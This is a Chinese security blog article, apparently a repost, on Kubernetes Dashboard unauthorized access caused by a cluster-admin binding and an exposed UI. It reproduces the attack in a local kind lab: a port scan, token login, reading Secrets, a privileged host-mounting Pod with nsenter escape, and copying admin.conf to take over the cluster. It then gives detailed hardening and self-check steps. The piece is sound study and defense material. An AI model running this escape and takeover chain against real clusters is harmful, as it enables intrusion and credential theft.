文章总结: 本文分析KubernetesDashboard未授权访问漏洞,指出其本质是运维配置错误(绑定cluster-admin权限并暴露UI)而非0day。文章详细复现了从发现Dashboard、获取高权限身份、窃取Secret到创建特权Pod逃逸宿主机并接管集群的完整攻击链,并以特斯拉2018年被入侵挖矿为典型案例警示危害。建议严格遵循最小权限原则,避免将Dashboard暴露于网络。
综合评分: 82
文章分类: 渗透测试,红队,内网渗透,云安全,安全意识
云原生未授权系列之K8s Dashboard未授权:点几下鼠标接管集群
原创
0x00
0x00
随笔漫记安全路
2026年9月16日 08:43
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
声明:本文针对的是已公开、有官方修复方案的配置类安全问题(Kubernetes Dashboard 未授权)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。
一、漏洞背景
1.1 Kubernetes Dashboard 是什么
Kubernetes Dashboard 是官方出的 Web 管理界面,装上之后浏览器打开就能看到集群的 Pod、Service、Deployment,还能直接在页面上创建资源、进容器终端、读日志。本质就是把 kubectl 的能力做成了图形界面。
对运维来说很方便,对攻击者来说更方便——因为它把”操作整个集群”的能力,浓缩成了点几下鼠标。
1.2 两类未授权问题
历史上 Dashboard 的未授权主要有两类:
第一类:skip 登录(Dashboard 1.x 早期)
老版本 Dashboard 登录页有个 “Skip” 按钮,点一下就能以匿名身份(system:anonymous)进 UI。如果集群 RBAC 配置宽松,匿名身份也能操作资源,等于免登录接管。这个设计后来被官方移除了。
第二类:高权限 SA + UI 暴露(更常见,至今仍有)
这才是现在最普遍的问题,本质是人为配置错误:
- 运维嫌每次输 token 麻烦,给 Dashboard 的 ServiceAccount 绑了
cluster-admin - 然后用 NodePort / LoadBalancer 把 Dashboard 暴露到内网甚至公网
- 攻击者打开页面,拿到的就是 cluster-admin 身份,点几下就能接管集群
1.3 经典案例:特斯拉 2018 年被挖矿
这事必须讲,太典型了。
2018 年,特斯拉的 AWS / Kubernetes 基础设施被入侵,黑客用来挖矿。安全公司 RedLock 复盘发现:入口就是一个未授权暴露的 Kubernetes Dashboard——没有密码,浏览器直接进,进去就是集群管理员权限。黑客在里面起了挖矿 Pod,还用特斯拉的 AWS 凭证调用云 API,偷偷跑了很久才被发现。
一个”图省事 skip 登录 + 暴露 UI”的配置,让一家顶级科技公司的基础设施沦陷。这个案例把 Dashboard 未授权的危害讲透了。
危害等级:高危
二、利用条件
| 条件 | 说明 | 本复现是否满足 |
| — | — | — |
| Dashboard UI 网络可达 | 攻击者浏览器能打开 Dashboard(NodePort/LoadBalancer 暴露 / kubectl proxy 误开) | ✅ NodePort 映射 |
| 绑定了高权限 SA 或 skip 可用 | Dashboard 的身份有操作权限。常见是绑了 cluster-admin | ✅ 复现绑 cluster-admin |
| 无需凭证 | skip 登录 / 已绑 token 自动登录,不用输密码 | ✅ 零认证 |
| 无需受害者交互 | 攻击者主动访问即可 | ✅ 纯主动 |
| 默认配置是否安全 | 官方 Dashboard 2.x+ 默认需登录 token,是安全的 | —— 出问题是运维改了配置 |
关键判断:这不是 Dashboard 本身的 0day,而是配置错误(绑 cluster-admin + 暴露 UI)导致的未授权。但危害极大,因为门槛极低——不用敲命令,点鼠标就行。
默认配置是否安全:官方 Dashboard 2.x+ 默认需要 token 登录,ServiceAccount 默认权限也很小,默认是安全的。出问题一定是运维为了方便改了配置。
三、环境搭建
用 kind 建集群,装 Dashboard,再”刻意复现”高权限 SA + 暴露 UI 的配置。
3.1 创建集群
cat > kind-dashboard.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraPortMappings:
- containerPort: 30001
hostPort: 30001
- containerPort: 6443
hostPort: 6443
EOF
kind create cluster --config kind-dashboard.yaml --name dashboard-lab
3.2 部署 Dashboard
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.7.0/aio/deploy/recommended.yaml
等 Pod 就绪:
kubectl -n kubernetes-dashboard get pod -w
# 等到都是 Running
3.3 复现漏洞:绑 cluster-admin + 暴露 UI
第一步:创建一个绑 cluster-admin 的 SA(模拟运维图省事)
# 建一个 SA
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard
# 绑 cluster-admin(经典过度授权)
kubectl create clusterrolebinding dashboard-admin \
--clusterrole=cluster-admin \
--serviceaccount=kubernetes-dashboard:dashboard-admin
# 为该 SA 创建长效 token(1.24+ 需要)
cat > dashboard-admin-secret.yaml <<'EOF'
apiVersion: v1
kind: Secret
metadata:
name: dashboard-admin-token
namespace: kubernetes-dashboard
annotations:
kubernetes.io/service-account.name: dashboard-admin
type: kubernetes.io/service-account-token
EOF
kubectl apply -f dashboard-admin-secret.yaml
第二步:用 NodePort 暴露 Dashboard
kubectl patch svc kubernetes-dashboard -n kubernetes-dashboard \
-p '{"spec":{"type":"NodePort","ports":[{"port":443,"nodePort":30001}]}}'
现在浏览器访问 https://127.0.0.1:30001 就能打开 Dashboard。
3.4 拿到登录 token
kubectl -n kubernetes-dashboard get secret dashboard-admin-token -o jsonpath='{.data.token}' | base64 -d
把这个 token 填进 Dashboard 登录页——进去就是 cluster-admin 身份。复现完成。
真实场景里,运维图省事会把这个 token 配进 Dashboard 让它自动登录,或者直接用 skip,连输都不用输。
四、漏洞复现
攻击链全景
[1] 发现 Dashboard UI(扫到 30001 等端口)
│
[2] skip 登录 / 绑了 token 自动进入 → 拿到 cluster-admin 身份
│
[3] 在 UI 里浏览所有资源(Pod/Secret/Deployment)
│
[4] 直接点开 Secret 看 Token/密码(base64 自动解码)
│
[5] 在 UI 里创建特权 Pod YAML → 逃逸宿主机
│
[6] 读 admin.conf → 接管集群
4.1 信息收集:发现 Dashboard
# 扫 NodePort 范围
nmap -p 30000-30100 127.0.0.1
# 30001/tcp open ssl/http
浏览器打开 https://127.0.0.1:30001,看到 Dashboard 登录页——确认是 K8s Dashboard。
也可以用另一种发现方式:很多人不开 NodePort,而是用 kubectl proxy,误开了 --address=0.0.0.0 --disable-filter,此时 Dashboard 走 apiserver 代理路径暴露:
http://x.x.x.x:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
4.2 进入 UI(skip 或自动登录)
- 老版本:点 “Skip” 按钮,直接进
- 本复现:输入上一步拿到的 token,进去就是 cluster-admin
进去后能看到所有 namespace 的资源:Pod、Deployment、Service、Secret……集群的”上帝视角”。
4.3 偷 Secret(最简单的一步)
Dashboard 里点 “Secrets”,能看到所有 namespace 的 Secret。点开任意一个,Dashboard 会自动 base64 解码显示明文——数据库密码、API key、私钥,全部明文可见。
这一步连命令都不用敲,点几下鼠标就拿到了。这就是 Dashboard 未授权”门槛最低”的原因。
4.4 创建特权 Pod 逃逸宿主机(核心)
Dashboard 右上角有个 “+” 按钮,点进去可以直接贴 YAML 创建资源。贴入特权 Pod:
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: default
spec:
hostPID: true
hostNetwork: true
nodeSelector:
kubernetes.io/hostname: dashboard-lab-control-plane
tolerations:
- key: node-role.kubernetes.io/control-plane
operator: Exists
effect: NoSchedule
containers:
- name: pwn
image: alpine
command: ["sleep", "3600"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
点 “Upload”,Pod 创建。等它 Running 后,在 Dashboard 里点这个 Pod → 右上角终端图标 → 进入容器 shell:
# 容器内
apk add --no-cache util-linux nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- sh
# 现在在宿主机上,root 权限
hostname # dashboard-lab-control-plane
id # uid=0(root)
4.5 读 admin.conf 接管集群
# 宿主机上
cat /etc/kubernetes/admin.conf
admin.conf 含 cluster-admin 身份的客户端证书和私钥。拷出来:
cp /etc/kubernetes/admin.conf /host/tmp/admin.conf
exit # 退出 nsenter
exit # 退出容器
# 攻击机上
mkdir -p ~/.kube && cp /tmp/admin.conf ~/.kube/config
kubectl get nodes # 集群在手
至此完成 Dashboard 未授权 → 点鼠标接管集群 的完整链路。全程没敲几条命令,基本都是点 UI——这正是它最可怕的地方。
五、关键点解读
5.1 skip 登录的本质
老版本 Dashboard 的 skip,本质是让用户以 system:anonymous 身份访问。这身份默认没权限,但:
- 如果集群
--authorization-mode=AlwaysAllow,匿名也能操作 - 如果有人给
system:anonymous绑了角色(脑残配置),也能操作
官方后来意识到这个设计有问题,2.x 移除了 skip,强制 token 登录。但”绑 cluster-admin 图省事”的配置错误至今仍在大量集群存在。
5.2 为什么给 Dashboard 绑 cluster-admin 是灾难
cluster-admin 是 K8s 最高权限,能操作所有资源、所有 namespace。Dashboard 绑了它,等于:
- 谁能打开 Dashboard UI,谁就是集群管理员
- UI 暴露到网络 = 集群管理员权限暴露到网络
而 Dashboard 的 SA 其实只需要读权限(展示资源),根本不需要 cluster-admin。运维图省事一绑定,就把”只读 UI”变成了”上帝控制台”。
5.3 和系列前三篇的区别
| 维度 | etcd | Docker API | kubelet | Dashboard |
| — | — | — | — | — |
| 入口 | 2379 | 2375 | 10250 | 30001/Web UI |
| 直接危害 | 偷数据 | 拿单机 shell | 节点执行 | 图形化全权操作 |
| 利用门槛 | 中 | 低 | 中 | 极低(点鼠标) |
| 防御难度 | 低 | 低 | 低 | 低(不绑高权限+不暴露) |
Dashboard 是本系列里门槛最低的一个——别的还要构造请求、敲命令,这个打开浏览器点点就能拿集群。特斯拉当年就是栽在这上面。
六、踩坑记录
| 问题 | 原因 | 解决 |
| — | — | — |
| 浏览器访问 30001 打不开 | kind extraPortMappings 没映射 30001 | 确认 kind 配置里 containerPort/hostPort 都是 30001 |
| Dashboard 登录页没有 Skip 按钮 | 2.x 版本已移除 skip | 复现”绑高权限 SA”场景即可,无需 skip |
| 填 token 登录报 Unauthorized | token 过期 / SA 没绑权限 | 用刚创建的 secret token,确认 clusterrolebinding 已建 |
| 特权 Pod 一直 Pending | 控制面节点有 NoSchedule 污点 | YAML 里加 tolerations 容忍 control-plane |
| UI 里 exec 终端打不开 | 浏览器拦了 wss / 证书问题 | 用本复现的 localhost 访问,接受自签证书 |
| Dashboard Pod 起不来 | 资源不足 / 镜像拉不下来 | kubectl describe pod 看事件,确保镜像可拉 |
七、修复与防御
7.1 立即修复(根治)
- 绝不给 Dashboard 绑 cluster-admin。给它一个最小权限的 Role,只读:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: dashboard-readonly
namespace: kubernetes-dashboard
rules:
- apiGroups: [""]
resources: ["pods","services","configmaps"]
verbs: ["get","list","watch"]
# 不给 secrets,不给 create/update/delete
- Dashboard 不暴露到网络。生产环境用
kubectl proxy本地访问,绝不开 NodePort/LoadBalancer 到内网公网。 - 升级到 2.x+,强制 token 登录,移除 skip。
7.2 纵深防御
| 层面 | 措施 |
| — | — |
| 认证 | 用 OIDC / 集成企业 SSO,不裸用 token;定期轮转 |
| 网络隔离 | Dashboard Service 用 ClusterIP,仅通过 apiserver 代理访问 |
| PodSecurity | 即便有人建 Pod,准入控制拒绝 privileged/hostPID/hostPath |
| 审计 | 开启 audit log,监控 Dashboard SA 的异常操作(创建 Pod、读 Secret) |
| 干脆不装 | 生产环境推荐直接用 kubectl 命令行,Dashboard 能不装就不装 |
7.3 快速自检命令
# 1. 检查 Dashboard SA 绑了什么权限
kubectl get clusterrolebinding -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.subjects[*].name}{"\n"}{end}' | grep dashboard
# 期望: 没有任何 dashboard SA 绑了 cluster-admin
# 2. 检查 Dashboard 是否暴露了 NodePort
kubectl -n kubernetes-dashboard get svc
# 期望: TYPE=ClusterIP,没有 NodePort
# 3. 检查是否有 Skip(2.x 应该没有)
# 浏览器打开登录页,确认必须输 token
八、总结
| 阶段 | 攻击者动作 | 防御者应做 |
| — | — | — |
| 入口 | 扫到 Dashboard UI 端口 | 不暴露 NodePort,仅 ClusterIP |
| 进入 | skip / 高权限 token 登录 | 强制 token 登录 + 最小权限 Role |
| 偷数据 | 点开 Secret 看明文 | SA 无 secrets 读权限 |
| 逃逸 | UI 里建特权 Pod | PodSecurity 拒绝 privileged |
| 接管 | 读 admin.conf | admin.conf 严控 + 审计告警 |
核心结论:K8s Dashboard 未授权是云原生环境里”门槛最低、危害最大”的配置类问题——不用技术,点鼠标就能拿集群。特斯拉 2018 的教训说明,连顶级公司都会栽在这上面。修复成本极低(不绑 cluster-admin + 不暴露 UI),务必作为集群安全基线的必查项。
参考
- Kubernetes Dashboard 官方仓库:https://github.com/kubernetes/dashboard[1]
- Dashboard 访问控制文档:https://github.com/kubernetes/dashboard/blob/master/docs/user/access-control.md[2]
- RedLock 报告:特斯拉 K8s 挖矿事件(2018)
- CIS Kubernetes Benchmark(Dashboard 相关条目)
引用链接
[1]https://github.com/kubernetes/dashboard
[2]https://github.com/kubernetes/dashboard/blob/master/docs/user/access-control.md
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:随笔漫记安全路 0x00
0x00《云原生未授权系列之K8s Dashboard未授权:点几下鼠标接管集群》